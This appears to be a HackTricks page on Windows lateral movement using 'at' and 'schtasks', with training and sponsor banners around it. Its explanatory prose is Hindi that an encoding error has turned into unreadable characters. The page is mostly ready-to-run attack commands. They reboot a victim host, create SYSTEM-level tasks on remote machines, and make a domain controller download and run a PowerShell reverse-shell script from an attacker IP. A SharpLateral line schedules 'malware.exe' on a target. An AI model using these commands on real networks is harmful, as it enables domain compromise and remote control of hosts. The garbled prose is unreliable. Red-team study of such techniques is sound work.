# AtExec / SchtasksExec {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** ЁЯТм [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** ЁЯРж [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} ## рдпрд╣ рдХреИрд╕реЗ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ At рдЖрдкрдХреЛ рдЙрди рд╣реЛрд╕реНрдЯ рдореЗрдВ рдХрд╛рд░реНрдп рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рдЬрд╣рд╛рдБ рдЖрдк рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо/(рдкрд╛рд╕рд╡рд░реНрдб/рд╣реИрд╢) рдЬрд╛рдирддреЗ рд╣реИрдВред рдЗрд╕рд▓рд┐рдП, рдЖрдк рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдЕрдиреНрдп рд╣реЛрд╕реНрдЯ рдореЗрдВ рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдФрд░ рдЖрдЙрдЯрдкреБрдЯ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред ``` At \\victim 11:00:00PM shutdown -r ``` Using schtasks рдЖрдкрдХреЛ рдкрд╣рд▓реЗ рдХрд╛рд░реНрдп рдмрдирд╛рдирд╛ рд╣реЛрдЧрд╛ рдФрд░ рдлрд┐рд░ рдЗрд╕реЗ рдХреЙрд▓ рдХрд░рдирд╛ рд╣реЛрдЧрд╛: {% code overflow="wrap" %} ```bash schtasks /create /n /tr C:\path\executable.exe /sc once /st 00:00 /S /RU System schtasks /run /tn /S ``` {% endcode %} {% code overflow="wrap" %} ```bash schtasks /create /S dcorp-dc.domain.local /SC Weekely /RU "NT Authority\SYSTEM" /TN "MyNewtask" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.X/InvokePowerShellTcp.ps1''')'" schtasks /run /tn "MyNewtask" /S dcorp-dc.domain.local ``` {% endcode %} рдЖрдк [SharpLateral](https://github.com/mertdas/SharpLateral) рдХрд╛ рднреА рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: {% code overflow="wrap" %} ```bash SharpLateral schedule HOSTNAME C:\Users\Administrator\Desktop\malware.exe TaskName ``` {% endcode %} More information about the [**use of schtasks with silver tickets here**](../active-directory-methodology/silver-ticket.md#host). {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** ЁЯТм [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** ЁЯРж [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}